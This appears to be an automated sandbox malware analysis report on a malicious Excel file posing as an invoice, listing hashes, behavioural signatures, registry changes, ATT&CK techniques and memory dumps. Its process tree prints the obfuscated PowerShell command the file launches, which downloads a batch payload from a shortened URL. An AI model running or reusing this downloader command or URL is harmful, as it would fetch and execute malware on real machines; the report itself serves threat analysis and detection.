279bf00b0c81ab8baeb09989215ad376377c40a3abd4358d041ec06746c986fe

General

Target

invoice68684881.xls
Size

228KB
MD5

1a7cd8bd3fcf0b4a7f351a148dc7e40a
SHA1

e336117d94537924cf4ecef038231b29bafdf261
SHA256

279bf00b0c81ab8baeb09989215ad376377c40a3abd4358d041ec06746c986fe
SHA512

7fe9785c22a2be59dba2e7e8974a4c7196522c17e6a3ed6591af2354ee2a601defc6ff023575043063d9dcde1e37211c49aad3cfab71840d312b191ab89d7c63

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cutt.ly/fjYtydH

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1788	1684	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

6 1792 powershell.exe
8 1792 powershell.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
6	1792	powershell.exe
8	1792	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1684 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1792 powershell.exe
1792 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1792 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1684 EXCEL.EXE
1684 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1684 EXCEL.EXE
1684 EXCEL.EXE
1684 EXCEL.EXE

pid	process
1684	EXCEL.EXE

pid	process
1792	powershell.exe
1792	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1792	powershell.exe

pid	process
1684	EXCEL.EXE
1684	EXCEL.EXE

pid	process
1684	EXCEL.EXE
1684	EXCEL.EXE
1684	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1684 wrote to memory of 1788	1684	EXCEL.EXE	cmd.exe
PID 1684 wrote to memory of 1788	1684	EXCEL.EXE	cmd.exe
PID 1684 wrote to memory of 1788	1684	EXCEL.EXE	cmd.exe
PID 1684 wrote to memory of 1788	1684	EXCEL.EXE	cmd.exe
PID 1788 wrote to memory of 1792	1788	cmd.exe	powershell.exe
PID 1788 wrote to memory of 1792	1788	cmd.exe	powershell.exe
PID 1788 wrote to memory of 1792	1788	cmd.exe	powershell.exe
PID 1788 wrote to memory of 1792	1788	cmd.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\invoice68684881.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1684

C:\Windows\SysWOW64\cmd.exe
cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebCL`I`eNT).('Down'+'loadFile').Invoke('https://cutt.ly/fjYtydH','a.bat')
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1788

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 (nEw-oB`jecT Net.WebCL`I`eNT).('Down'+'loadFile').Invoke('https://cutt.ly/fjYtydH','a.bat')
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1792

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1684-2-0x000000002FB31000-0x000000002FB34000-memory.dmp

Filesize
12KB

Download
memory/1684-3-0x0000000071AC1000-0x0000000071AC3000-memory.dmp

Filesize
8KB

Download
memory/1684-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1788-5-0x0000000000000000-mapping.dmp

Download
memory/1792-6-0x0000000000000000-mapping.dmp

Download
memory/1792-7-0x00000000756A1000-0x00000000756A3000-memory.dmp

Filesize
8KB

Download
memory/1792-8-0x000000006CAE0000-0x000000006D1CE000-memory.dmp

Filesize
6.9MB

Download
memory/1792-9-0x0000000000860000-0x0000000000861000-memory.dmp

Filesize
4KB

Download
memory/1792-10-0x00000000049D0000-0x00000000049D1000-memory.dmp

Filesize
4KB

Download
memory/1792-11-0x0000000004990000-0x0000000004991000-memory.dmp

Filesize
4KB

Download
memory/1792-12-0x0000000004992000-0x0000000004993000-memory.dmp

Filesize
4KB

Download
memory/1792-13-0x0000000002510000-0x0000000002511000-memory.dmp

Filesize
4KB

Download
memory/1792-14-0x00000000052C0000-0x00000000052C1000-memory.dmp

Filesize
4KB

Download
memory/1792-17-0x00000000056F0000-0x00000000056F1000-memory.dmp

Filesize
4KB

Download
memory/1792-22-0x00000000060E0000-0x00000000060E1000-memory.dmp

Filesize
4KB

Download
memory/1792-23-0x0000000006130000-0x0000000006131000-memory.dmp

Filesize
4KB

Download
memory/1792-30-0x0000000006290000-0x0000000006291000-memory.dmp

Filesize
4KB

Download
memory/1792-31-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/1792-32-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads